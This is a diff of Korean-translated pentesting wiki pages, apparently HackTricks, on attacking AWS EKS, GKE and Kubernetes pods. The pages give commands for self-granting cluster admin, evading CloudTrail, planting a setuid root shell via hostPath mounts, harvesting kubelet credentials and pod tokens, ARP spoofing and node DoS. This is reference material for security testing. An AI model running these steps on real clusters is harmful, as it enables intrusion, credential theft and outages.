diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md index 5324071aa..fbc6f2cd9 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md @@ -4,15 +4,15 @@ ## EKS -더 자세한 정보는 확인하세요 +더 많은 정보는 확인 {{#ref}} ../../aws-services/aws-eks-enum.md {{#endref}} -### AWS Console에서 cluster 열거 +### AWS Console에서 클러스터 열거 -권한 **`eks:AccessKubernetesApi`**가 있으면 AWS EKS console를 통해 **Kubernetes objects**를 **볼 수 있습니다** ([더 알아보기](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)). +권한 **`eks:AccessKubernetesApi`** 가 있으면 AWS EKS console를 통해 **Kubernetes objects** 를 **view** 할 수 있습니다 ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)). ### AWS Kubernetes Cluster에 연결 @@ -23,9 +23,9 @@ aws eks update-kubeconfig --name aws-eks-dev ``` - 그렇게 쉬운 방법은 아닙니다: -만약 **`aws eks get-token --name `**로 **토큰을 얻을 수** 있지만 클러스터 정보를 가져올 권한(describeCluster)이 없다면, **직접 `~/.kube/config`를 준비**할 수 있습니다. 하지만 토큰이 있어도 연결할 **url endpoint**가 필요하고([pod에서 JWT token을 얻었다면 여기](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token)), 또한 **cluster 이름**도 필요합니다. +**`aws eks get-token --name `**로 **토큰**을 얻을 수 있지만, 클러스터 정보를 얻을 권한(describeCluster)이 없다면, **자신만의 `~/.kube/config`**를 준비할 수 있습니다. 하지만 토큰이 있어도, 여전히 **연결할 url endpoint**가 필요합니다(포드에서 JWT 토큰을 얻었다면 [여기](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token) 참조) 그리고 **클러스터 이름**도 필요합니다. -제 경우에는 CloudWatch logs에서 이 정보를 찾지 못했지만, **LaunchTemaplates userData**와 **EC2 machines의 userData**에서 찾았습니다. 예를 들어 다음 예시처럼 **userData**에서 이 정보를 쉽게 확인할 수 있습니다(클러스터 이름은 cluster-name이었습니다): +제 경우에는 CloudWatch logs에서 정보를 찾지 못했지만, **LaunchTemaplates userData**와 **EC2 machines의 userData**에서 찾았습니다. 예를 들어 다음 예시에서 이 정보를 **userData**에서 쉽게 볼 수 있습니다(클러스터 이름은 cluster-name이었습니다): ```bash API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com @@ -72,53 +72,53 @@ provideClusterInfo: false ### From AWS to Kubernetes -**EKS cluster**의 **creator**는 **ALWAYS** kubernetes cluster 부분의 그룹 **`system:masters`**(k8s admin)에 들어갈 수 있습니다. 이 글을 작성하는 시점에는 **누가** cluster를 **생성했는지**를 직접 찾을 **방법이 없고**(CloudTrail에서 확인할 수 있음), 이 **privilege**를 **제거할 방법도 없습니다**. +역사적으로, **EKS cluster**의 **creator**는 `aws-auth`에 표시되지 않는 숨겨진 Kubernetes admin access를 받았습니다. 현재 EKS clusters에서는 이것이 cluster access configuration에 따라 달라집니다. `bootstrapClusterCreatorAdminPermissions`는 creation 시 creator가 cluster-admin access entry로 추가될지 여부를 제어하며, EKS access entries는 그 admin 경로를 EKS API를 통해 보이게 하고 revoke 가능하게 만듭니다. 오래된 clusters 또는 아직 `aws-auth`에 의존하는 clusters는 여전히 legacy creator behavior를 가질 수 있으므로, creator가 항상 제거 불가능한 `system:masters`를 가진다고 가정하지 말고 `accessConfig`를 확인하고, access entries를 나열하고, CloudTrail을 검토하세요. #### Abusing configmap -**AWS IAM users or roles**를 더 많이 **K8s에 access**하도록 부여하는 전통적인 방법은 **configmap** **`aws-auth`**를 사용하는 것입니다. +더 많은 AWS IAM users 또는 roles에 **K8s 접근 권한**을 부여하는 전통적인 방법은 **configmap** **`aws-auth`**를 사용하는 것입니다. > [!WARNING] -> 따라서 **config map `aws-auth`**에 대해 **write access**가 있는 누구나 전체 cluster를 **compromise**할 수 있습니다. +> 따라서 **config map** **`aws-auth`**에 대해 **write access**를 가진 누구든지 **전체 cluster를 compromise**할 수 있습니다. -같은 account 또는 다른 account에서 **IAM roles & users**에 **추가 privileges**를 **grant**하는 방법과, 이것을 **abuse**해서 [**privesc check this page**](../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps) 하는 방법에 대한 자세한 내용은 이 페이지를 참고하세요. +같은 account 또는 다른 account에서 **IAM roles & users에 추가 privileges를 부여하는 방법**과 이것을 **abuse**하여 [**privesc는 이 페이지를 확인하세요**](../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps)에 대한 자세한 정보는 여기를 보세요. -또한 **authentication IAM -> Kubernetes**가 어떻게 동작하는지 배우려면 [**this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post**도 확인하세요. +또한 **authentication IAM -> Kubernetes가 어떻게 동작하는지** 배우려면 [**이 멋진**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post도 확인하세요**. #### Abusing Access Entries -AWS는 access entries를 통해 IAM users가 Kubernetes cluster에 access하도록 부여하는 추가 방법을 구현했습니다. `eks:CreateAccessEntry` 및 `eks:AssociateAccessPolicy` permissions가 있다면, 사용자 자신 또는 특정 role에 Kubernetes administrator role을 할당할 수도 있습니다. +AWS는 access entries를 통해 IAM users가 Kubernetes cluster에 접근할 수 있도록 하는 추가 방법을 구현합니다. `eks:CreateAccessEntry`와 `eks:AssociateAccessPolicy` permissions가 있다면, 사용자 자신 또는 특정 role에 Kubernetes administrator role을 할당할 수도 있습니다. -먼저, **사용자 또는 role에 대한 access entry를 생성**하세요: +먼저, **사용자 또는 role에 대한 access entry를 생성하세요**: ``` aws eks create-access-entry --cluster-name --region --principal-arn --type STANDARD ``` -그 항목이 생성되면, 이제 그 항목에 정책을 직접 할당할 수 있습니다. *AmazonEKSClusterAdminPolicy*라는 내장 aws policy가 있으며, 이를 직접 사용할 수 있습니다. 환경에 EKS에서 elevated privileges를 부여하는 다른 custom policies가 있다면, `--policy-arn`을 그중 아무것으로나 변경할 수 있다는 점을 기억하세요: +그 항목이 생성되면 이제 직접 policy를 할당할 수 있습니다. *AmazonEKSClusterAdminPolicy*라는 내장 aws policy가 있으며, 이를 직접 사용할 수 있습니다. 환경에 EKS에서 상승된 privileges를 부여하는 다른 custom policies가 있다면, `--policy-arn`을 그 중 아무 것으로나 변경할 수 있다는 점을 기억하세요: ``` aws eks associate-access-policy --cluster-name --region --principal-arn --policy-arn arn:aws:eks::aws:cluster-access-policy/AmazonEKSClusterAdminPolicy --access-scope type=cluster ``` -You can search for this policy in AWS official documentation [**here**](https://docs.aws.amazon.com/eks/latest/userguide/access-policy-permissions.html#access-policy-permissions-amazoneksclusteradminpolicy) +이 정책은 AWS 공식 문서 [**here**](https://docs.aws.amazon.com/eks/latest/userguide/access-policy-permissions.html#access-policy-permissions-amazoneksclusteradminpolicy)에서 찾을 수 있습니다. -이 시점부터, 이제 *k8s* 토큰을 요청하고 관리자 권한으로 cluster와 상호작용할 수 있을 수 있습니다: +이제부터는 *k8s* token을 요청하고 administrator로서 cluster와 상호작용할 수 있을 수 있습니다: ``` aws eks get-token --cluster-name --output json | jq -r '.status.token' ``` ### From Kubernetes to AWS -**kubernetes service account**에 대한 **OpenID authentication**을 허용하여 AWS에서 역할을 assume하도록 할 수 있습니다. [**이 작동 방식은 이 페이지에서**](../../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1) 알아보세요. +**OpenID authentication for kubernetes service account**를 허용해서 AWS에서 역할을 assume할 수 있게 할 수 있습니다. 이 내용은 [**이 페이지에서 작동 방식**](../../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1)을 알아보세요. ### GET Api Server Endpoint from a JWT Token -JWT token을 디코딩하면 cluster id와 region도 얻을 수 있습니다. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) EKS url의 standard format이 다음과 같다는 것을 알면 +JWT token을 디코딩하면 cluster id와 region도 얻을 수 있습니다. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) EKS url의 표준 형식이 다음과 같다는 것을 알면 ```bash https://...eks.amazonaws.com ``` -`'two chars'`와 `'number'`의 기준을 설명하는 문서는 찾지 못했습니다. 하지만 직접 몇 가지 테스트를 해보니 다음 것들이 반복적으로 보였습니다: +'two chars'와 'number'의 기준을 설명하는 문서는 찾지 못했습니다. 하지만 직접 몇 가지 테스트를 해보니 반복적으로 이런 것들이 보입니다: - gr7 - yl4 -어쨌든 길이가 3자뿐이라 bruteforce할 수 있습니다. 아래 스크립트를 사용해 목록을 생성하세요. +어쨌든 3자뿐이므로 bruteforce할 수 있습니다. 목록을 생성하려면 아래 스크립트를 사용하세요. ```python from itertools import product from string import ascii_lowercase @@ -134,7 +134,7 @@ for comb in product(letter_combinations, number_combinations) with open('out.txt', 'w') as f: f.write('\n'.join(result)) ``` -그다음 wfuzz를 사용하여 +그 다음 wfuzz를 사용하여 ```bash wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws.com ``` @@ -143,21 +143,21 @@ wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws ### Bypass CloudTrail -공격자가 **EKS에 대한 권한**이 있는 AWS 자격 증명을 얻으면, 이전에 설명한 것처럼 **`update-kubeconfig`**를 호출하지 않고 자기 **`kubeconfig`**를 설정할 수 있습니다. 이 경우 **`get-token`**은 AWS API와 상호작용하지 않기 때문에 Cloudtrail에 로그를 남기지 않습니다(토큰을 로컬에서만 생성함). +만약 공격자가 **EKS에 대한 권한**이 있는 AWS 자격 증명을 획득하면, 이전에 설명한 것처럼 **`update-kubeconfig`**를 호출하지 않고 자기만의 **`kubeconfig`**를 설정할 수 있습니다. 이 경우 **`get-token`**은 AWS API와 상호작용하지 않기 때문에 Cloudtrail에 로그를 남기지 않습니다(토큰을 로컬에서만 생성합니다). -따라서 공격자가 EKS 클러스터와 통신할 때, **cloudtrail은 탈취된 사용자와 그 접근과 관련된 어떤 것도 기록하지 않습니다**. +따라서 공격자가 EKS cluster와 통신할 때, **cloudtrail은 탈취된 사용자가 접근한 것과 관련된 어떤 것도 기록하지 않습니다**. -다만, **EKS 클러스터 자체에 logs가 활성화되어 있을 수 있으며** 이 접근이 기록될 수 있습니다(하지만 기본적으로는 비활성화되어 있습니다). +다만, **EKS cluster 자체에 logs가 활성화되어 있을 수 있으며** 이 접근이 기록될 수 있습니다(하지만 기본적으로는 비활성화되어 있습니다). ### EKS Ransom? -기본적으로 클러스터를 **생성한 user 또는 role**은 **항상** 그 클러스터에 대해 admin 권한을 가집니다. 그리고 이것이 Kubernetes cluster에 대해 AWS가 갖는 유일한 "secure" access입니다. +기본적으로 cluster를 **생성한 user 또는 role**은 해당 cluster에 대해 **항상 admin 권한**을 가집니다. 그리고 이것이 AWS가 Kubernetes cluster에 대해 가질 수 있는 유일한 "secure" access입니다. -따라서, 공격자가 **fargate를 사용하는 cluster를 침해**하고 **다른 모든 admin을 제거한 뒤**, 클러스터를 **생성한 AWS user/role을 삭제**하면, ~~공격자는 **클러스터를 ransom**할 수 있었을 것이다~~**r**. +따라서, **공격자가 fargate를 사용하는 cluster를 compromise**하고 **다른 모든 admins를 제거한 뒤**, Cluster를 생성한 **AWS user/role을 d**eletes 하면, ~~공격자가 **cluster를 ransom**할 수 있었을~~**r** 있습니다. > [!TIP] -> 만약 클러스터가 **EC2 VMs**를 사용하고 있었다면, **Node**에서 Admin 권한을 얻어 클러스터를 복구할 수 있을 수도 있습니다. +> cluster가 **EC2 VMs**를 사용하고 있었다면, **Node**에서 Admin 권한을 얻어 cluster를 복구할 수도 있습니다. > -> 실제로, 클러스터가 Fargate를 사용 중이라면 EC2 nodes를 사용하거나 모든 것을 EC2로 옮겨 클러스터를 복구하고, node 안의 tokens에 접근해서 복구할 수 있습니다. +> 실제로 cluster가 Fargate를 사용 중이라면 EC2 nodes를 사용하게 하거나, 모든 것을 EC2로 옮겨 cluster를 복구하고, node 안의 tokens에 접근해 복구할 수 있습니다. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum.md index e1cb89d7d..e23d81e11 100644 --- a/src/pentesting-cloud/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum.md +++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum.md @@ -4,7 +4,7 @@ ## Containers -GCP containers에서는 GCP가 제공하는 대부분의 container 기반 서비스를 찾을 수 있으며, 여기서는 가장 일반적인 것들을 enumerate하는 방법을 볼 수 있습니다: +GCP containers에서는 GCP가 제공하는 대부분의 containers 기반 서비스를 찾을 수 있으며, 여기에서 가장 일반적인 것들을 enum하는 방법을 볼 수 있습니다: ```bash gcloud container images list gcloud container images list --repository us.gcr.io/ #Search in other subdomains repositories @@ -24,7 +24,7 @@ sudo docker pull HOSTNAME// ``` ### Privesc -다음 페이지에서 **container 권한을 악용해 privileges를 escalate하는 방법**을 확인할 수 있습니다: +다음 페이지에서 **container permissions를 악용하여 privileges를 escalate하는 방법**을 확인할 수 있습니다: {{#ref}} ../gcp-privilege-escalation/gcp-container-privesc.md @@ -40,35 +40,35 @@ gcloud container node-pools describe --cluster --zone --region \ --format='value(workloadIdentityConfig.workloadPool)' @@ -76,9 +76,23 @@ gcloud container clusters describe --region \ kubectl get serviceaccounts -A -o yaml | grep -n 'iam.gke.io' -B 5 -A 8 kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName' ``` -If a service account has the annotation `iam.gke.io/gcp-service-account`, review the IAM service account policy for `roles/iam.workloadIdentityUser` grants to Kubernetes service account principals. Also check IAM allow policies for direct workload identity principals or broad principal sets. +서비스 계정에 `iam.gke.io/gcp-service-account` annotation이 있으면, IAM service account policy에서 Kubernetes service account principals에 대한 `roles/iam.workloadIdentityUser` grants를 확인하세요. 또한 `principalSet://` grants처럼 namespace-wide 또는 cluster-wide workload access를 포함한 direct workload identity principals나 광범위한 IAM allow policies도 확인하세요. `iam.gke.io/credential-quota-project` annotation은 IAM Service Account Credentials API quota만 다른 project로 이동시키며, workload principal은 여전히 해당 quota project에 `serviceusage.services.use`가 필요하고 target resource에 대한 별도의 IAM access도 필요합니다. -Metadata access depends on cluster mode, node pool configuration, and workload settings. Do not assume every pod can steal the node service account. In Workload Identity-enabled environments, ordinary pods should use the GKE metadata server to obtain the workload identity intended for their Kubernetes service account. Node compromise, `hostNetwork` pods in some Standard configurations, and legacy node metadata exposure can still change the blast radius, so verify the actual node pool metadata mode, node service account, OAuth scopes, and pod placement. +Metadata access는 cluster mode, node pool configuration, workload settings에 따라 달라집니다. 모든 pod가 node service account를 훔칠 수 있다고 가정하지 마세요. Workload Identity가 enabled된 환경에서는 일반적인 pod가 GKE metadata server를 사용해 자신의 Kubernetes service account에 대해 의도된 workload identity를 얻어야 합니다. Node compromise, 일부 Standard configuration의 `hostNetwork` pod, 그리고 legacy node metadata exposure는 여전히 blast radius를 바꿀 수 있으므로, 실제 node pool metadata mode, node service account, OAuth scopes, 그리고 pod placement를 확인하세요. + +Workload Identity가 enabled된 pod가 token을 얻지 못한다면, IAM binding이 잘못되었다고 단정하기 전에 NetworkPolicy egress도 확인하세요. NetworkPolicy를 사용하는 GKE Standard clusters는 cluster version과 dataplane에 필요한 metadata-server path를 허용해야 하며, Dataplane V2는 metadata-server access에 `169.254.169.254` path를 사용합니다. + +### Autopilot privileged workload allowlists + +GKE Autopilot는 기본적으로 대부분의 privileged workloads를 차단하지만, 승인된 예외가 존재할 수 있습니다. privileged pod가 불가능하다고 가정하기 전에 privileged admission settings, `AllowlistSynchronizer` objects, 그리고 설치된 `WorkloadAllowlist` objects를 검토하세요: +```bash +gcloud container clusters describe --region \ +--format='yaml(autopilot,privilegedAdmissionConfig,clusterPolicyConfig)' + +kubectl get allowlistsynchronizers.auto.gke.io -A -o yaml +kubectl get workloadallowlists.auto.gke.io -A -o yaml +``` +Allowlist paths can be GKE-owned (`gke://...`) or customer-owned Cloud Storage paths (`gs://...`). Wildcards and broad bucket paths increase the blast radius because future allowlist files under that path might become valid for the cluster. When a `WorkloadAllowlist` is installed, compare its exemptions and matching criteria to the pod spec, especially image digests, host namespaces, writable hostPath mounts, host ports, Linux capabilities, and whether `autopilot.gke.io/no-connect` prevents `exec` access to the privileged workload. ### TLS Boostrap Privilege Escalation @@ -103,6 +117,6 @@ In [**this post**](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/) i ``` curl -v -k http://10.124.200.1:10255/pods ``` -API가 **리소스를 수정하도록 허용하지 않더라도**, 응답에서 **민감한 정보**를 찾을 수 있을지도 모릅니다. 엔드포인트 /pods는 [**Kiterunner**](https://github.com/assetnote/kiterunner)를 사용해 발견되었습니다. +API가 **리소스를 수정하도록 허용하지 않더라도**, 응답에서 **민감한 정보**를 찾을 수 있을 수 있다. 엔드포인트 /pods는 [**Kiterunner**](https://github.com/assetnote/kiterunner)를 사용해 발견되었다. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md b/src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md index 2e52625fa..788a91c44 100644 --- a/src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md +++ b/src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md @@ -4,36 +4,36 @@ ## **Pod Breakout** -**If you are lucky enough you may be able to escape from it to the node:** +**운이 좋다면 node로 탈출할 수 있습니다:** ![Kubernetes pod breakout diagram showing attacker OS flow from a container through syscalls to the host kernel](https://sickrov.github.io/media/Screenshot-161.jpg) -### Escaping from the pod +### pod에서 탈출하기 -In order to try to escape from the pods you might need to **escalate privileges** first, some techniques to do it: +pod에서 탈출을 시도하려면 먼저 **권한 상승**이 필요할 수 있습니다. 이를 위한 몇 가지 기법: {{#ref}} https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html {{#endref}} -You can check this **docker breakouts to try to escape** from a pod you have compromised: +침해한 pod에서 탈출을 시도할 수 있는 이 **docker breakouts**를 확인할 수 있습니다: {{#ref}} https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/index.html {{#endref}} -### Abusing writable hostPath/bind mounts (container -> host root via SUID planting) +### Writable hostPath/bind mounts 악용하기 (container -> host root via SUID planting) -If a compromised pod/container has a writable volume that maps directly to the host filesystem (Kubernetes hostPath or Docker bind mount), and you can become root inside the container, you can leverage the mount to create a setuid-root binary on the host and then execute it from the host to pop root. +침해된 pod/container에 host filesystem에 직접 매핑되는 writable volume(Kubernetes hostPath 또는 Docker bind mount)이 있고, container 안에서 root가 될 수 있다면, 그 mount를 이용해 host에 setuid-root binary를 만들고, 이를 host에서 실행해 root를 얻을 수 있습니다. -Key conditions: -- The mounted volume is writable from inside the container (readOnly: false and filesystem permissions allow write). -- The host filesystem backing the mount is not mounted with the nosuid option. -- You have some way to execute the planted binary on the host (for example, separate SSH/RCE on host, a user on the host can execute it, or another vector that runs binaries from that path). +핵심 조건: +- mounted volume가 container 내부에서 writable해야 합니다(readOnly: false이고 filesystem permissions가 write를 허용). +- mount를 backing하는 host filesystem이 nosuid option으로 mounted되지 않아야 합니다. +- host에서 planted binary를 실행할 수 있는 방법이 있어야 합니다(예: host에 대한 별도 SSH/RCE, host의 user가 이를 실행할 수 있음, 또는 해당 path의 binaries를 실행하는 다른 vector). -How to identify writable hostPath/bind mounts: -- With kubectl, check for hostPath volumes: kubectl get pod -o jsonpath='{.spec.volumes[*].hostPath.path}' -- From inside the container, list mounts and look for host-path mounts and test writability: +Writable hostPath/bind mounts 식별 방법: +- kubectl로 hostPath volume을 확인: kubectl get pod -o jsonpath='{.spec.volumes[*].hostPath.path}' +- container 내부에서 mount를 나열하고 host-path mount를 찾은 뒤 writable인지 테스트: ```bash # Inside the compromised container mount | column -t @@ -54,7 +54,7 @@ chmod 6777 "$MOUNT/suidbash" ls -l "$MOUNT/suidbash" # -rwsrwsrwx 1 root root 1234376 ... /var/www/html/survey/suidbash ``` -호스트에서 root를 얻으려면 실행하세요: +호스트에서 실행하여 root를 얻기: ```bash # On the host, locate the mapped path (e.g., from the Pod spec .spec.volumes[].hostPath.path or by prior enumeration) # Example host path: /opt/limesurvey/suidbash @@ -94,7 +94,7 @@ As you are inside the Kubernetes environment, if you cannot escalate privileges ``` kubectl get svc --all-namespaces ``` -기본적으로 Kubernetes는 flat networking schema를 사용하며, 이는 **cluster 내의 어떤 pod/service든 다른 pod/service와 통신할 수 있다**는 뜻입니다. cluster 내의 **namespaces**는 **기본적으로 어떤 network security restrictions도 없습니다**. namespace 안의 누구나 다른 namespaces와 통신할 수 있습니다. +기본적으로 Kubernetes는 flat networking schema를 사용하며, 이는 **클러스터 내의 어떤 pod/service든 다른 것과 통신할 수 있음**을 의미합니다. 클러스터 내의 **namespaces**는 **기본적으로 어떤 network security restrictions도 없습니다**. namespace에 있는 누구나 다른 namespaces와 통신할 수 있습니다. ### Scanning @@ -117,7 +117,7 @@ nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}" } nmap-kube-discover ``` -다음 페이지를 확인해 Kubernetes specific services를 공격하여 다른 pods/all the environment를 compromise하는 방법을 알아보세요: +다음 페이지를 확인해서 **Kubernetes specific services**를 **attack**하여 **다른 pod들/전체 환경을 compromise**하는 방법을 알아보세요: {{#ref}} pentesting-kubernetes-services/ @@ -125,12 +125,12 @@ pentesting-kubernetes-services/ ### Sniffing -만약 **compromised pod가 민감한 service를 실행**하고 있고 다른 pods가 인증해야 한다면, **local communications를 sniffing**해서 다른 pods가 전송한 credentials를 얻을 수 있을지도 모릅니다. +만약 **compromised pod가 민감한 service**를 실행 중이고 다른 pod들이 인증해야 한다면, **local communications를 sniffing**해서 다른 pod들이 보내는 credentials를 얻을 수 있습니다. ## Network Spoofing -기본적으로 **ARP spoofing** 같은 기술(그리고 그에 따라 **DNS Spoofing**)은 kubernetes network에서 동작합니다. 따라서 pod 내부에서 **NET_RAW capability**가 있다면(기본적으로 존재함), custom crafted network packets를 전송하고 같은 node에서 실행 중인 모든 pods에 대해 **ARP Spoofing을 통한 MitM attacks**를 수행할 수 있습니다.\ -또한 **malicious pod**가 **DNS Server와 같은 node**에서 실행 중이라면, 클러스터의 모든 pods를 대상으로 **DNS Spoofing attack**을 수행할 수 있습니다. +기본적으로 **ARP spoofing** 같은 technique은(**DNS Spoofing**도 그 덕분에) kubernetes network에서 동작합니다. 따라서 pod 내부에서 **NET_RAW capability**가 있다면(기본적으로 존재함), custom crafted network packets를 보내고 같은 node에서 실행 중인 모든 pod를 대상으로 **ARP Spoofing을 통한 MitM attacks**를 수행할 수 있습니다.\ +또한 **malicious pod**가 **DNS Server와 같은 node**에서 실행 중이라면, cluster의 모든 pod를 대상으로 **DNS Spoofing attack**을 수행할 수 있습니다. {{#ref}} kubernetes-network-attacks.md @@ -138,25 +138,25 @@ kubernetes-network-attacks.md ## Node DoS -Kubernetes manifests에 resource specification이 없고 containers에 **applied limit** ranges도 없습니다. 공격자로서 우리는 pod/deployment가 실행 중인 곳의 **모든 resources를 소비**하여 다른 resources를 고갈시키고 environment에 DoS를 일으킬 수 있습니다. +Kubernetes manifest에 resources specification이 없고 container에 대해 **limit ranges가 적용되지 않은** 경우입니다. attacker로서, 우리는 pod/deployment가 실행 중인 곳의 **모든 resources를 consume**할 수 있고, 다른 resources를 고갈시켜 환경에 DoS를 일으킬 수 있습니다. 이는 [**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng) 같은 tool로 수행할 수 있습니다: ``` stress-ng --vm 2 --vm-bytes 2G --timeout 30s ``` -`stress-ng`를 실행 중일 때와 실행 후의 차이를 볼 수 있습니다 +`stress-ng`를 실행하는 동안과 실행한 후의 차이를 볼 수 있습니다 ```bash kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx ``` ## Node Post-Exploitation -만약 **container에서 escape**했다면, node에서 다음과 같은 흥미로운 것들을 찾을 수 있습니다: +컨테이너에서 **escape**하는 데 성공했다면, node에서 다음과 같은 흥미로운 것들을 찾을 수 있습니다: -- **Container Runtime** process (Docker) -- 이 node에서 실행 중인 더 많은 **pods/containers**를 이처럼 abuse할 수 있음 (더 많은 tokens) +- **Container Runtime** 프로세스 (Docker) +- 이 node에서 실행 중인 더 많은 **pods/containers**를 abuse할 수 있음 (더 많은 tokens) - 전체 **filesystem**과 일반적인 **OS** -- **Kube-Proxy** service listening -- **Kubelet** service listening. config files를 확인: +- **Kube-Proxy** 서비스가 listening 중 +- **Kubelet** 서비스가 listening 중. config files를 확인하세요: - Directory: `/var/lib/kubelet/` - `/var/lib/kubelet/kubeconfig` - `/var/lib/kubelet/kubelet.conf` @@ -164,21 +164,27 @@ kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxx - `/var/lib/kubelet/kubeadm-flags.env` - `/etc/kubernetes/kubelet-kubeconfig` - `/etc/kubernetes/admin.conf` --> `kubectl --kubeconfig /etc/kubernetes/admin.conf get all -n kube-system` -- 기타 **kubernetes common files**: +- 다른 **kubernetes common files**: - `$HOME/.kube/config` - **User Config** - `/etc/kubernetes/kubelet.conf`- **Regular Config** - `/etc/kubernetes/bootstrap-kubelet.conf` - **Bootstrap Config** - `/etc/kubernetes/manifests/etcd.yaml` - **etcd Configuration** - `/etc/kubernetes/pki` - **Kubernetes Key** +### Image Pull and Registry Credentials + +node에 접근한 후에는 node가 private images를 어떻게 pull하는지도 확인하세요. 유용한 evidence로는 runtime image metadata (`crictl images`), Pod 또는 ServiceAccount의 `imagePullSecrets`, `/etc/containerd/config.toml` 및 `/etc/containerd/certs.d` 같은 containerd registry configuration, 그리고 `--image-credential-provider-config`, `--image-credential-provider-bin-dir` 같은 kubelet image credential provider flags가 있습니다. + +캐시된 private image가 있다고 해서 재사용 가능한 registry credentials를 가지고 있다고 가정하면 안 됩니다. 그것은 단지 이 node에 image가 존재함을 보여줄 뿐일 수 있습니다. 하지만 static runtime registry credentials, Docker config JSON pull secrets, 또는 짧은 수명의 pull credentials를 발급할 수 있는 credential provider는 private registry access를 노출할 수 있습니다. 최근 Kubernetes 버전은 image pulls를 위한 service-account-token 기반 kubelet credential provider도 지원하므로, 보고할 impact 전에 provider가 Pod-bound service account tokens를 사용하는지와 어떤 audience를 요청하는지 확인하세요. + ### Find node kubeconfig -이전에 언급한 경로들 중 하나에서 kubeconfig 파일을 찾을 수 없다면, **kubelet process의 `--kubeconfig` argument를 확인**하세요: +이전에 언급한 경로 중 하나에서 kubeconfig 파일을 찾지 못했다면, **kubelet process의 `--kubeconfig` argument를 확인하세요**: ``` ps -ef | grep kubelet root 1406 1 9 11:55 ? 00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal ``` -### Secrets 탈취 +### Secret 탈취 ```bash # Check Kubelet privileges kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system @@ -199,239 +205,134 @@ echo "" fi done ``` -The script [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) will automatically **get the tokens of other pods and check if they have the permission** you are looking for (instead of you looking 1 by 1): +The script [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) will automatically **다른 pods의 tokens를 가져오고, 그들이 당신이 찾는 permission을 가지고 있는지 확인**합니다 (직접 1개씩 확인하는 대신): ```bash ./can-they.sh -i "--list -n default" ./can-they.sh -i "list secrets -n kube-system"// Some code ``` ### Privileged DaemonSets -DaemonSet은 **cluster의 모든 node에서** **run**될 **pod**입니다. 따라서 DaemonSet이 **privileged service account,**로 설정되어 있다면 **모든 node**에서 악용할 수 있는 해당 **privileged service account**의 **token**을 찾을 수 있습니다. +DaemonSet은 **클러스터의 모든 노드**에서 **실행**되는 **pod**입니다. 따라서 DaemonSet이 **privileged service account**로 설정되어 있다면, **모든 노드**에서 악용할 수 있는 해당 **privileged service account**의 **token**을 찾을 수 있습니다. -exploit은 이전 섹션과 동일하지만, 이제 운에 의존하지 않습니다. +exploit은 이전 섹션과 동일하지만, 이제는 운에 의존하지 않습니다. ### Pivot to Cloud -cluster가 cloud service에 의해 managed되는 경우, 보통 **Node는 Pod와는 다른 metadata** endpoint 접근 권한을 가집니다. 따라서 **node에서 metadata endpoint에 access**해 보세요(또는 hostNetwork가 True인 pod에서): +클러스터가 cloud 서비스에 의해 관리되는 경우, 보통 **Node는 Pod와 다른 metadata** endpoint 접근 권한을 